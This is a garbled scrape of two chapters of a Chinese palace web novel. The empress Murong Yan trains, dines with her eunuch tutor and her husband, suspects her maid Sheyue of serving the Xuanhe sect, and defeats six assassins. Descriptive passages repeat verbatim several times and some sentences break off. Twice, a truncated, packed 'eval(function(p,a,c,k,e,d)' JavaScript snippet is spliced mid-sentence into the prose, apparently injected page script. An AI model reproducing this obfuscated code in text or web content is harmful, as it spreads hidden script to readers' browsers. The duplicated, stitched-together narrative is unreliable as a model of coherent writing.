此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 了招式,立于戏台中央,微微喘息,凤目之中却满是兴奋与满足。 无舌见状,上前跪地,恭敬道:“陛下,进步神速,老奴佩服。” 慕容嫣微微仰头,望着天边的晚霞,心中豪情万丈,朗声道:“回宫?今日这练武的兴致才刚起,怎可半途而废?摆宴,朕要与你在这戏台上,边吃边论武学之道!” 无舌一愣,随即露出笑容,连忙应道:“遵旨!” 言罢,起身退下安排晚宴事宜。 慕容嫣则信步走到戏台边缘,慕容嫣接过麝月递过来的毛巾,那毛巾质地柔软,绣着精致的暗纹,边角还坠着细碎的流苏。 她轻轻拿起毛巾,动作优雅而从容,擦拭着额头上细密的汗珠。 汗水在阳光的映照下,宛如细碎的珍珠,滚落于毛巾之上,浸湿了一小片。 随着她擦拭的动作,几缕发丝从鬓角散落下来,更添了几分慵懒与随性。 她继而将目光投向歪斜的凤冠,那凤冠在阳光下莹莹生辉,依旧散发着令人瞩目的奢华。 凤冠整体呈黑色镂空紫金质地,以凤尾为撑,凤尾蜿蜒上扬,凤羽以墨玉雕琢,纹理清晰,灵动飘逸。 凤冠前端,一只巨型展翅凤凰傲立,几乎占据整个凤冠前半部分。 凤身以黄金为骨,五彩宝石贴片,凤凰双翅展开,左翼用蓝宝石铺就翎羽,右翼则是祖母绿宝石相互辉映,每一次扇动,都似有风雷声动。 凤冠后侧垂下十二条珠帘,每条珠帘皆由东珠、南红、猫眼石等珍稀宝石串成,长短不一,却错落有致。 此刻,虽有几根珠帘断裂耷拉下来,但剩余的珠帘依然在微风中轻轻晃动,碰撞出清脆悦耳的声响,似在诉说着曾经的辉煌。 慕容嫣伸出玉手,轻轻扶正凤冠,手指触碰凤冠的瞬间,仿佛能感受到那来自匠人的精湛技艺与无尽心血。 她微微调整凤冠的角度,确保它端端正正地戴在头顶,再次彰显出帝王的威严。 每一个细微的动作,都透露出她对这份尊荣的珍视,即便刚刚经历了一场激烈的打斗,她也绝不允许自己有半分失态。 整理完毕,她莲步轻移,向着凤椅走去。 凤袍的裙摆轻轻摇曳,如同黑色的海浪层层翻涌,绣金的凤凰随着摆动若隐若现。 腰间束带的流苏也随之晃动,冰蓝色水晶折射出清冷光芒。 身后的拖尾更是壮观,仿若一条黑色的天河拖曳在地,随着她的前行,拖尾缓缓展开,宝石与地面轻轻摩擦,发出细微却清脆的声响。 绣纹中的凤凰仿若被注入了生命,在阳光的照耀下,闪耀着五彩光芒,灵动地穿梭于拖尾之间。 慕容嫣缓缓走回凤椅,身姿挺拔如松,她轻轻落座,凤椅发出轻微的嘎吱声。 夕阳洒在她身上,勾勒出她完美的轮廓,凤袍、凤冠与拖尾在光芒中闪耀着,仿佛一幅静止的绝美画卷。 很快,在麝月的带领下,宫女们徐徐走过来传膳。 第422章 武功如何精进 夜幕如墨沉甸甸地自天际倾洒而下将巍峨的皇宫笼罩其中。 戏台上风灯摇曳光影在雕梁画栋间诡谲地跳动。 四周宫女、太监一个个冻得像筛糠似的反观慕容嫣坐在那儿气定神闲连个火炉都不用。 巨大的圆桌摆满饭菜慕容嫣扬了扬手凤袖随风舞动露出一解白藕般的手臂。 “无舌你也坐下吃。” “老奴不敢。” “让你坐就坐哪那么多废话。”慕容嫣是把无舌当师父看了。 放在以前别说太监就连麝月也绝不可能上桌。 “老奴遵旨。”既然是旨意那无舌断然没有抗旨的道理于是他规规矩矩地坐下。 两人相对而坐。 月光洒下来照在慕容嫣的凤冠上。 凤冠主体由纯金打造 其框架呈穹窿之态宛如缩小的宫殿金顶雕刻着精细繁复的凤凰于飞图纹。 凤羽飘逸舒展每一根翎毛都像是用最细腻的金丝勾勒而成在微光中闪烁着灵动的光芒似要振翅高飞。 冠顶之上挺立着一只昂首展翅的金凤它体型硕大几乎占据了凤冠顶端的大半空间。 金凤的双眸以两颗璀璨的红宝石镶嵌而成在夜色中仿若燃烧的炭火深邃而炽热。 凤冠的两侧垂下串串珠帘珠帘以水晶、玛瑙与碧玺等珍稀宝石相间串成。 水晶清澈透明仿若凝固的月光将周围的光影折射得五彩斑斓。 玛瑙色泽温润纹理如山川脉络般神秘而迷人。 碧玺则散发着浓郁而艳丽的色彩或翠绿欲滴或粉嫩娇艳为这凤冠增添了几分灵动活泼的气息。 这些珠帘随着慕容嫣的轻微动作轻轻晃动相互碰撞发出清脆悦耳的声响。 石桌上摆着几样简单餐食几碟精致小菜一壶温酒在这清冷夜里氤氲出丝丝缕缕的人间烟火气。 慕容嫣正要动筷子就见林臻一身劲装走了过来。 她立刻满眼惊喜。 “夫君?你怎么来了?” 林臻没说话静静地坐在慕容嫣身旁。 “家里吵架呢来你这避避风头。” “吵架?呵呵呵估计又是晴雯那丫头吧?”慕容嫣笑着给林臻夹菜。 林臻叹了口气摇摇头:“还真不是晴雯最近很乖。是颜颜和青霞。颜颜说青霞挺 个大肚子装可怜,在家什么也不干。青霞说颜颜没本事,让才学武一天的你打得落花流水。结果两人就打起来了。” “啊?”慕容嫣张大了嘴,“青霞可是怀着孕呢,那是咱家的种,万一出意外了怎么办?” “说的就是啊,我在那劝架,结果胸口挨了一脚。老爷子生气了,说门风不正,要阻止两人打架,结果老宗主出来说王爷装逼,结果他们俩又打了起来。唉,这个家真是越来越乱套了。” 慕容嫣微微仰头,望向夜空,随即痴痴笑道:“呵呵呵,那既然如此,不如我们出去玩玩?” “玩玩?去哪?” “朕打算过了年,去广陵走一趟。” 林臻微微一怔,下意识地转过头,目光中满是疑惑:“去广陵做什么?如今世道并不太平,你又是万金之躯,贸然离宫,万一有个闪失” 慕容嫣轻轻一笑,笑声如银铃般洒落:“夫君多虑了。广陵刚刚收复回来,它如今可是咱们与南楚的通商口岸,地位举足轻重。朕虽能从折子上知晓一二,但纸上得来终觉浅,朕想微服私访,亲自去看看那里的民生民情、商业往来,如此才能心中有数。” “我明白你心系百姓、重视商事,可这一路上风险实在太多。且不说江湖中的三教九流,单说煊赫门,就不会平平安安让你到广陵的。” “正因如此,朕才选择微服出行,不暴露身份,低调行事。再说,朕又岂是那等贪生怕死之辈?若连自己的江山都不敢去深入了解,谈何守护?” 林臻没说话,看了看对面如坐针毡的无舌,露出一抹笑容。 慕容嫣继续说道:“朕打算只带麝月和你,轻车简从。装扮上,自然是要全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇帝自然不能总在皇宫里待着,那样就呆成傻子了。 两人继续吃饭。 酒过三巡,菜过五味,慕容嫣问道。 “无舌,朕如今武功虽有进益,可总觉进展还是不够快,到底该如何继续提升?” 第423章 麝月是煊赫门的人? 无舌微微欠身,沉吟片刻后开口:“陛下,练武之道仿若攀山,没有捷径可走,唯循序渐进、持之以恒。陛下天赋卓绝,又勤勉有加,如今这进境已是神速。老奴断言,假以时日,陛下必成天下第一高手。” 慕容嫣嘴角轻扬,一抹自信笑意绽放开来。 “朕志不在江湖称霸,只为护这江山子民。” “陛下圣明。” 慕容嫣笑着点头,轻盈起身。 此时,月光如水,倾洒在戏台之上,仿若一层剔透的银霜,将世间万物都浸在了这清冷的光辉里。 慕容嫣那一身黑色凤袍瞬间夺了这夜色的风头。 凤袍通身以玄色锦缎为底,那锦缎质地厚实,却又在月光轻抚下泛出柔润的光泽。 袍身之上,用金银丝线绣满了形态各异的凤凰,金线勾勒轮廓,银线穿梭其中,细腻地雕琢出凤凰的每一片羽翼、每一道翎毛。 这些凤凰或昂首振翅;或回首凝望;或两两相对,亲昵嬉戏。 它们在月光下熠熠生辉,每一丝光芒的闪烁,都如同星辰跳跃,让整件凤袍看起来宛如一片流动的星空,承载着无尽的尊贵与威严。 五十米的拖尾长长地迤逦于地,仿若银河落凡尘,硬生生在这戏台与砖石地面之间铺就了一条梦幻之路。 拖尾的边缘,绣满了精致繁复的云纹,层层叠叠,如同被风吹散又聚拢的云朵,灵动而飘逸。 月光穿透云层,洒在拖尾之上,使得那些云纹仿若有了生命,正缓缓飘动。 随着慕容嫣莲步轻移,拖尾在砖地上摩挲,发出细微却庄重的沙沙声。 所经之处,月光被拖尾切割、碾碎,又重新汇聚,光芒闪烁,如梦似幻,仿佛她不是在行走,而是踏月而归的神祇,带着无尽的尊严与威严,一步步迈向寝宫深处。 回宫路上,月色给宫墙、廊道都披上了银纱。 慕容嫣走在前,麝月落后半步,悄然相随。 麝月温婉娇柔,目光灵动,手中提着一盏琉璃灯,为慕容嫣照亮脚下砖石。 林臻走在慕容嫣身边,突然说道:“嫣儿,为夫去顾镇那边看看,你先回去。” “好。” 林臻走开。 慕容嫣望着他的背影,喃喃道:“麝月,夫君有多久没在宫里住了?” “回陛下,应该有月余了。” “这狗男人,也不说想朕,好不容易晚上来一次还要去看顾镇!真是的!” “陛下,奴婢有句话不知该不该 说。” “说。” “陛下已经武功盖世,在民间又有这样高的威望,其实您大可不必再依附世子的。” 慕容嫣瞪起凤目,清冷的目光看得麝月浑身发抖:“你什么意思?” “奴婢.奴婢是说,既然陛下一开始是想依靠世子重新掌权,那现在权柄已经回到陛下手中,陛下” “住口!”慕容嫣气得一巴掌就抽在麝月脸上。 “啪!” “啊!” 她力气很大,一巴掌直接将麝月抽倒在地上,宫灯也啪的一声熄灭。 慕容嫣说道:“林臻是朕的夫君,这是谁也改变不了的事实。但朕现在很怀疑,你是煊赫门的人!” 月明星稀,清冷的月光似一层薄霜,均匀地洒落在宫殿群落间。 重重殿宇在月色笼罩下,投下一片片幽深的暗影。 慕容嫣面庞在月光下更显冷峻,紧紧锁住面前瑟瑟发抖的麝月。 石路延伸向远方,四周宫殿的飞檐斗拱仿若巨兽的獠牙,森然林立,将这一方空间衬得愈发压抑。 “麝月,”慕容嫣开口,声音冷冽穿透寂静,“你究竟是不是煊赫门的人?莫要妄图欺瞒朕,如实招来,或许还能留你一条活路。” 麝月瘫软在冰冷的石板上,娇柔的身躯颤抖不停,泪水在眼眶中打转,连连摇头。 “不,奴婢愿望,奴婢不是煊赫门的人.” “那你为何挑拨朕与夫君的关系!你居心何在!” “奴婢只是.” 就在这气氛紧绷,一触即发之际,变故突生。 一阵轻微却急促的衣袂破风声响彻夜空,六道黑影好似鬼魅般的,急匆匆地从周边宫殿房顶上一跃而下。 他们身形矫健敏捷,落地悄无声息,瞬间分站成阵,将慕容嫣与麝月围在中心。 每人手中紧握着寒光闪闪的短刀,刀刃在月光下折射出森冷的光,透着嗜血的渴望。 慕容无舌一直静立在慕容嫣身侧,宛如一座沉稳的山岳。 见状,他目光一凛。 “哪来的狂徒,竟敢潜行入宫!”言罢他浑身肌肉瞬间紧绷,犹如猎豹窥见猎物,蓄势待发,立刻就要冲上前去。 然而,慕容嫣却再次玉手轻摆,神色镇定自若:“退下!你控制住麝月,这些人由朕亲自对付。” 慕容无舌虽满心担忧,但对慕容嫣的命令从无二话,身形一转,如苍鹰扑兔般迅猛,眨眼间便闪至麝月身旁,把她牢牢制住。 那六个黑衣人仿若被同一根丝线操控的木偶,不仅一言不发,而且动作整齐划一,就像得到某种指令那般,朝着慕容嫣悍然扑了过去。 慕容嫣毫无惧色,身姿轻盈如燕,不退反进,赤手空拳地迎向敌人。 只见她身形灵动,在刀光剑影中穿梭自如。 她的拳脚带着呼呼风声,每一次出击都精准有力,或直击面门,使敌人眼冒金星;或横扫肋间,令对手痛苦弯腰。 凤袍随着她的动作烈烈飞舞,袍上的凤凰仿佛活了过来,在月光与刀光交织的光影中振翅欲飞。 那闪耀的金银丝线,时而反射出刺目的光芒,晃得敌人眼花缭乱,为慕容嫣的攻击创造出瞬间的破绽。 凤冠上的珠帘,在激烈的打斗中更是叮当作响,清脆的声音扰乱着敌人的心神,使其难以集中精力。 而当黑衣人挥刀砍来时,慕容嫣侧身一闪,凤冠上垂下的珠帘顺势一甩,那些水晶、玛瑙、碧玺珠子便如暗器一般,噼里啪啦地打在敌人脸上、手上,打得他们措手不及,攻势为之一滞。 至于那五十米的拖尾,虽看似累赘,实则暗藏玄机。 慕容嫣移步转身,拖尾在地面上蜿蜒盘旋。 有黑衣人妄图从身后偷袭,却被拖尾扫中脚踝,立足不稳,向前扑倒。 慕容嫣乘胜追击,手肘狠狠下压,砸在他的后颈,黑衣人闷哼一声,便昏死过去。 一黑衣人瞅准时机,从左侧挥刀斜劈而下,刀风呼啸,似要将慕容嫣一分为二。 慕容嫣眼神冷凝,侧身一闪,以毫厘之差避开锋芒,同时右手如闪电般探出,精准地扣住那人手腕,用力一拧。 只听“咔嚓”一声,伴随着黑衣人杀猪般的惨叫,手腕已被折断,短刀“哐当”落地。 慕容嫣顺势一个回旋踢,踢中其腹部,黑衣人如断线风筝般飞了出去,撞倒一片路边的盆栽,泥土与花瓣四溅。 另一个黑衣人见状,从背后偷袭,举刀刺向慕容嫣后背。 慕容嫣仿若脑后生眼,下蹲侧身,同时左腿如长鞭般扫出,直击对方脚踝。 黑衣人立足不稳,向前扑倒,慕容嫣乘胜追击,手肘狠狠下压,砸在他的后颈,黑衣人闷哼一声,便昏死过去。 此时,剩余四个黑衣人相互对视一眼,眼中闪过一丝决绝,攻势愈发凌厉,呈合围之势,妄图将慕容嫣困于刀阵之中。 慕容嫣却不慌不忙,她深吸口气,以一敌四,身形快如鬼魅,在刀阵中闪转腾挪,拳脚所到之处,必有黑衣人受伤 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 